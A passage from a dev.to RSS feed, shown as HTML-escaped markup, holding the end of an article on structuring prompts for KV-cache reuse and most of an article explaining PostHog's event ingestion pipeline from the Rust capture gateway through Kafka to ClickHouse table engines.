    &lt;span class="n"&gt;sorted_tools&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tools&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"system"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"Available tools:\n{canonical_json({'tools': sorted_tools})}"&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# 3. Few-shot examples: deterministic order&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;exemplar&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;few_shots&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;exemplar&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;exemplar&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# 4. Conversation history: append-only turns&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;turn&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;history&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;turn&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;turn&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# 5. Volatile dynamic context: placed strictly in the final user message&lt;/span&gt;
    &lt;span class="n"&gt;now_str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;timezone&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;utc&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strftime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"%Y-%m-%d %H:%M:%S UTC"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;final_payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"Context:\n"&lt;/span&gt;
        &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"- Current Time: {now_str}\n"&lt;/span&gt;
        &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"- User Timezone: {user_metadata.get('timezone', 'UTC')}\n\n"&lt;/span&gt;
        &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"User Query:\n{user_query}"&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"user"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;final_payload&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;messages&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With this architecture:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Across all users and sessions, Layers 1, 2, and 3 share a single cached KV prefix in your cluster or hosted provider.&lt;/li&gt;
&lt;li&gt;In multi-turn agent execution, each turn simply appends the latest assistant response and tool observation to Layer 4, reusing the entire prior conversation's KV cache.&lt;/li&gt;
&lt;li&gt;The volatile timestamp in Layer 5 only invalidates the final few dozen tokens of the query, preserving 95%+ of the prompt in cache.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Quantifying the Payoff
&lt;/h2&gt;

&lt;p&gt;What does this translate to in practice?&lt;/p&gt;

&lt;p&gt;AWS builder benchmarks measuring SGLang running DeepSeek-R1-Distill-Qwen-7B on an NVIDIA A10G show the real numbers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;2,048-token shared prefix:&lt;/strong&gt; Cold TTFT of 691.6 ms dropped to 69.2 ms on a warm cache hit (a &lt;strong&gt;90.0% reduction&lt;/strong&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;8,192-token shared prefix:&lt;/strong&gt; Cold TTFT of 2,035.9 ms dropped to 70.5 ms (a &lt;strong&gt;96.5% reduction&lt;/strong&gt;).&lt;/li&gt;
&lt;li&gt;In the warm condition, 2,870 out of 2,871 prompt tokens were served directly from the radix tree without recomputation.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;On API bills, moving an agentic pipeline from a 10% hit rate to an 85% hit rate drops input token expenses by roughly 70% to 80% on OpenAI, and up to 80% on Anthropic and DeepSeek.&lt;/p&gt;

&lt;p&gt;Prompt caching is not magic. It is KV tensor reuse governed by causal attention and prefix matching. If you respect the prefix boundary, you get sub-second responses and fractional bills. If you slip a timestamp at the top of your prompt, you pay the full prefill tax on every single token.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>machinelearning</category>
      <category>architecture</category>
      <category>programming</category>
    </item>
    <item>
      <title>PostHog Under the Hood: What Actually Happens Between posthog.capture() and ClickHouse</title>
      <dc:creator>Syed Anzar</dc:creator>
      <pubDate>Fri, 20 Nov 2026 13:03:24 +0000</pubDate>
      <link>https://dev.to/syed_anzar/posthog-under-the-hood-what-actually-happens-between-posthogcapture-and-clickhouse-3pee</link>
      <guid>https://dev.to/syed_anzar/posthog-under-the-hood-what-actually-happens-between-posthogcapture-and-clickhouse-3pee</guid>
      <description>&lt;p&gt;When you drop &lt;code&gt;posthog.capture('user_signed_up', { plan: 'enterprise' })&lt;/code&gt; into a web client or backend service, your application gets back an HTTP 200 response in about 4 milliseconds. &lt;/p&gt;

&lt;p&gt;To the application, the event is recorded. Done. &lt;/p&gt;

&lt;p&gt;Behind that 4-millisecond handshake, an architecture ingests hundreds of thousands of raw JSON payloads per second, flattens arbitrary schemas, tracks anonymous sessions across domain jumps, and stores petabytes of events so that five-step retention funnels over 100 million rows resolve in under 400 milliseconds.&lt;/p&gt;

&lt;p&gt;In the early days, PostHog ran entirely on PostgreSQL. It made sense: Postgres was reliable, everyone knew how to operate it, and JSONB columns offered flexibility. But as traffic scaled from hundreds of events per day to tens of thousands per second, Postgres hit an immovable wall.&lt;/p&gt;

&lt;p&gt;Understanding how PostHog solved this problem reveals why classical relational databases buckle under event streams, and how modern event-driven architectures bridge fast client ingestion with analytical query engines like ClickHouse.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why PostgreSQL Fell Over: The Row-Store Trap
&lt;/h2&gt;

&lt;p&gt;In a standard web application, PostgreSQL is exceptional. You fetch a user by ID, update an account balance, or query an orders table. These are Online Transaction Processing (OLTP) access patterns: point lookups and small transactional updates across single rows.&lt;/p&gt;

&lt;p&gt;In product analytics, the access pattern is inverted:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;OLTP Query (PostgreSQL):
SELECT id, name, email, plan, updated_at FROM users WHERE id = 42;
--&amp;gt; Reads 1 row, touches all columns in that row.

OLAP Query (Product Analytics):
SELECT event, count(*) FROM events 
WHERE timestamp &amp;gt;= now() - INTERVAL '30 days' 
GROUP BY event;
--&amp;gt; Reads 100,000,000 rows, touches ONLY 2 columns (event, timestamp).
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The Disk Page Problem
&lt;/h3&gt;

&lt;p&gt;PostgreSQL stores data in 8KB disk pages organized by row. If an event row contains a giant JSONB payload with user agents, system screen dimensions, UTM parameters, and custom properties, that single row might consume 4KB to 8KB of disk space.&lt;/p&gt;

&lt;p&gt;When running a query to count how many users completed an onboarding step, Postgres must read the entire 8KB page off disk into the buffer pool just to inspect two small fields: &lt;code&gt;event&lt;/code&gt; and &lt;code&gt;timestamp&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;Ninety-eight percent of the data loaded from NVMe drives and cached in RAM is discarded immediately. At 50 million events, the database server runs out of buffer cache, thrashing disk I/O to scan gigabytes of data it does not need.&lt;/p&gt;

&lt;h3&gt;
  
  
  Write Amplification and Autovacuum Starvation
&lt;/h3&gt;

&lt;p&gt;Every analytics event is an append-only write. But in Postgres:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Every &lt;code&gt;INSERT&lt;/code&gt; writes a full heap tuple to the write-ahead log (WAL) and disk page.&lt;/li&gt;
&lt;li&gt;Every secondary index (on &lt;code&gt;distinct_id&lt;/code&gt;, &lt;code&gt;team_id&lt;/code&gt;, &lt;code&gt;timestamp&lt;/code&gt;) requires an immediate B-tree leaf update.&lt;/li&gt;
&lt;li&gt;High write volume forces aggressive autovacuuming to clean transaction IDs (MVCC overhead) and update visibility maps.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;At 20,000 writes per second, autovacuum could not keep up with table bloat. Disk usage ballooned, B-tree indexes fragmented, and locking during vacuum cycles choked analytical queries. &lt;/p&gt;

&lt;p&gt;PostHog needed to separate ingestion from storage, and replace the underlying row-oriented storage engine with a columnar analytics warehouse.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Ingestion Pipeline: Step-by-Step
&lt;/h2&gt;

&lt;p&gt;The modern PostHog architecture splits event processing into four decoupled stages:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[ Client SDK ] 
      │  (HTTP POST /batch/ in ~4ms)
      ▼
[ Rust Capture Service (capture-rs) ]
      │  (Token validation + Redis rate-limiting)
      ▼
[ Apache Kafka / WarpStream ]  (Topic: events_plugin_ingestion)
      │
      ▼
[ Node.js / Rust Ingestion Workers (CDP) ]
      │  (GeoIP, HogQL plugins, distinct_id mapping)
      ▼
[ Apache Kafka / WarpStream ]  (Topic: clickhouse_events_json)
      │
      ▼
[ ClickHouse Cluster (4-Layer Engine Pipeline) ]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Step 1: The Rust Ingestion Gateway (&lt;code&gt;capture-rs&lt;/code&gt;)
&lt;/h3&gt;

&lt;p&gt;When an SDK calls &lt;code&gt;posthog.capture()&lt;/code&gt;, the HTTP request lands on &lt;code&gt;capture-rs&lt;/code&gt;, a high-throughput proxy written in Rust.&lt;/p&gt;

&lt;p&gt;Why Rust instead of Python (Django) or Node.js?&lt;br&gt;
Because the entry gateway has one primary job: get data off the network socket, validate credentials, and buffer it to disk in the fewest possible CPU cycles.&lt;/p&gt;

&lt;p&gt;When the gateway receives a payload:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;It validates the project token (&lt;code&gt;api_key&lt;/code&gt;) to ensure the request belongs to an active team.&lt;/li&gt;
&lt;li&gt;It queries an in-memory Redis instance using a token-bucket algorithm to protect against abusive or runaway clients.&lt;/li&gt;
&lt;li&gt;It immediately pushes the raw payload as a byte array into an Apache Kafka topic named &lt;code&gt;events_plugin_ingestion&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;It returns &lt;code&gt;HTTP 200 {"status": 1}&lt;/code&gt; to the client.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;No parsing of nested JSON properties happens here. No database connections are held open. The client receives an acknowledgment in single-digit milliseconds, and client latency is decoupled from the storage layer.&lt;/p&gt;


&lt;h3&gt;
  
  
  Step 2: The Shock Absorber (Kafka / WarpStream)
&lt;/h3&gt;

&lt;p&gt;Why not write directly from the ingestion gateway into ClickHouse?&lt;/p&gt;

&lt;p&gt;ClickHouse excels at processing batch writes containing 10,000 to 100,000 rows. It struggles when receiving 10,000 individual single-row inserts per second. Frequent tiny inserts create thousands of tiny data parts on disk, overwhelming the storage engine with background merge pressure (the dreaded "Too many parts" error).&lt;/p&gt;

&lt;p&gt;Kafka acts as the system's shock absorber. If a customer runs a viral marketing campaign and traffic surges from 5,000 events/sec to 150,000 events/sec, Kafka buffers the burst without dropping packets. The downstream consumers continue batching and writing at a predictable, controlled pace.&lt;/p&gt;


&lt;h3&gt;
  
  
  Step 3: Enrichment and Identity Resolution (The Ingestion Worker)
&lt;/h3&gt;

&lt;p&gt;Workers pull batches off the &lt;code&gt;events_plugin_ingestion&lt;/code&gt; Kafka topic. This layer performs three critical tasks before the data reaches permanent storage:&lt;/p&gt;
&lt;h4&gt;
  
  
  1. GeoIP and User-Agent Enrichment
&lt;/h4&gt;

&lt;p&gt;The worker reads the incoming client IP address, performs a local lookup in an in-memory MaxMind database, and appends &lt;code&gt;$geoip_country_name&lt;/code&gt;, &lt;code&gt;$geoip_city_name&lt;/code&gt;, and coordinate fields. The raw user agent is parsed into &lt;code&gt;$browser&lt;/code&gt;, &lt;code&gt;$os&lt;/code&gt;, and &lt;code&gt;$device_type&lt;/code&gt;.&lt;/p&gt;
&lt;h4&gt;
  
  
  2. Event Transformations and HogVM
&lt;/h4&gt;

&lt;p&gt;Users can configure transformations (such as masking PII, hashing emails, or routing specific properties). PostHog executes these transformations using HogVM: a custom, sandboxed bytecode runner designed to execute lightweight HogQL scripts safely at ingestion speed without spinning up full Node virtual machines.&lt;/p&gt;
&lt;h4&gt;
  
  
  3. Identity Stitching (&lt;code&gt;distinct_id&lt;/code&gt; to &lt;code&gt;person_id&lt;/code&gt;)
&lt;/h4&gt;

&lt;p&gt;In analytics, a user often starts as an anonymous visitor with an assigned UUID cookie (&lt;code&gt;distinct_id: "anon_8f3a"&lt;/code&gt;). Twenty minutes later, they log in, and their user ID becomes &lt;code&gt;user_4912&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If queries had to join millions of events across changing IDs on the fly, database performance would collapse. The ingestion worker checks a PostgreSQL and Redis mapping table to resolve &lt;code&gt;distinct_id&lt;/code&gt; to an internal immutable &lt;code&gt;person_id&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Once enriched, the worker publishes the normalized JSON payload to a second Kafka topic: &lt;code&gt;clickhouse_events_json&lt;/code&gt;.&lt;/p&gt;


&lt;h2&gt;
  
  
  Step 4: The 4-Layer ClickHouse Engine Ingestion Pattern
&lt;/h2&gt;

&lt;p&gt;The way PostHog connects Kafka to ClickHouse is an elegant pattern in distributed database design. Rather than writing manual batch-insert scripts, PostHog uses ClickHouse's native table engines and Materialized Views.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[ Kafka: clickhouse_events_json ]
                 │
                 ▼
     [ kafka_events Table ]
     (Engine: Kafka)
                 │  (Continuous Pull Stream)
                 ▼
       [ events_mv View ]
   (Materialized View Trigger)
                 │  (Pushes to)
                 ▼
    [ writable_events Table ]
    (Engine: Distributed)
                 │  (Shards by sipHash64(distinct_id))
                 ▼
     [ sharded_events Table ]
(Engine: ReplicatedReplacingMergeTree)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Layer 1: The Kafka Engine Table (&lt;code&gt;kafka_events&lt;/code&gt;)
&lt;/h3&gt;

&lt;p&gt;ClickHouse features an internal &lt;code&gt;Kafka&lt;/code&gt; engine that acts as a native Kafka consumer:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="n"&gt;posthog&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;kafka_events&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="kt"&gt;uuid&lt;/span&gt; &lt;span class="kt"&gt;UUID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;event&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;properties&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="kt"&gt;timestamp&lt;/span&gt; &lt;span class="nc"&gt;DateTime64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'UTC'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;team_id&lt;/span&gt; &lt;span class="nc"&gt;Int64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;distinct_id&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;elements_chain&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;created_at&lt;/span&gt; &lt;span class="nc"&gt;DateTime64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'UTC'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;_timestamp&lt;/span&gt; &lt;span class="kt"&gt;DateTime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;_offset&lt;/span&gt; &lt;span class="nc"&gt;UInt64&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="no"&gt;ENGINE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Kafka&lt;/span&gt;
&lt;span class="no"&gt;SETTINGS&lt;/span&gt; 
    &lt;span class="n"&gt;kafka_broker_list&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'kafka:9092'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;kafka_topic_list&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'clickhouse_events_json'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;kafka_group_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'clickhouse_events_json'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;kafka_format&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'JSONEachRow'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;kafka_skip_broken_messages&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This table does not store data on disk. Reading from this table is like draining a queue: it reads messages, advances Kafka offsets, and yields data in memory.&lt;/p&gt;

&lt;h3&gt;
  
  
  Layer 2: The Materialized View (&lt;code&gt;events_mv&lt;/code&gt;)
&lt;/h3&gt;

&lt;p&gt;In ClickHouse, a Materialized View is not a cached query result like in PostgreSQL. It is an insert trigger. Whenever the &lt;code&gt;kafka_events&lt;/code&gt; table consumes a batch of messages, &lt;code&gt;events_mv&lt;/code&gt; fires automatically, extracts the rows, and pipes them directly into the destination table:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;MATERIALIZED&lt;/span&gt; &lt;span class="k"&gt;VIEW&lt;/span&gt; &lt;span class="n"&gt;posthog&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;events_mv&lt;/span&gt; &lt;span class="k"&gt;TO&lt;/span&gt; &lt;span class="n"&gt;posthog&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;writable_events&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt;
    &lt;span class="kt"&gt;uuid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;properties&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="kt"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;team_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;distinct_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;elements_chain&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;created_at&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;_timestamp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;_offset&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;posthog&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;kafka_events&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Layer 3: The Distributed Sharding Router (&lt;code&gt;writable_events&lt;/code&gt;)
&lt;/h3&gt;

&lt;p&gt;PostHog runs across a distributed ClickHouse cluster with multiple nodes. Writing directly to specific nodes would create load imbalances.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;writable_events&lt;/code&gt; table uses the &lt;code&gt;Distributed&lt;/code&gt; engine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="n"&gt;posthog&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;writable_events&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="kt"&gt;uuid&lt;/span&gt; &lt;span class="kt"&gt;UUID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;event&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;properties&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="kt"&gt;timestamp&lt;/span&gt; &lt;span class="nc"&gt;DateTime64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'UTC'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;team_id&lt;/span&gt; &lt;span class="nc"&gt;Int64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;distinct_id&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;elements_chain&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;created_at&lt;/span&gt; &lt;span class="nc"&gt;DateTime64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'UTC'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;_timestamp&lt;/span&gt; &lt;span class="kt"&gt;DateTime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;_offset&lt;/span&gt; &lt;span class="nc"&gt;UInt64&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="no"&gt;ENGINE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Distributed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'posthog_cluster'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'posthog'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'sharded_events'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;sipHash64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;distinct_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look closely at the last parameter: &lt;code&gt;sipHash64(distinct_id)&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This is the sharding key. ClickHouse hashes the user's &lt;code&gt;distinct_id&lt;/code&gt; and uses the hash to pick the destination shard.&lt;/p&gt;

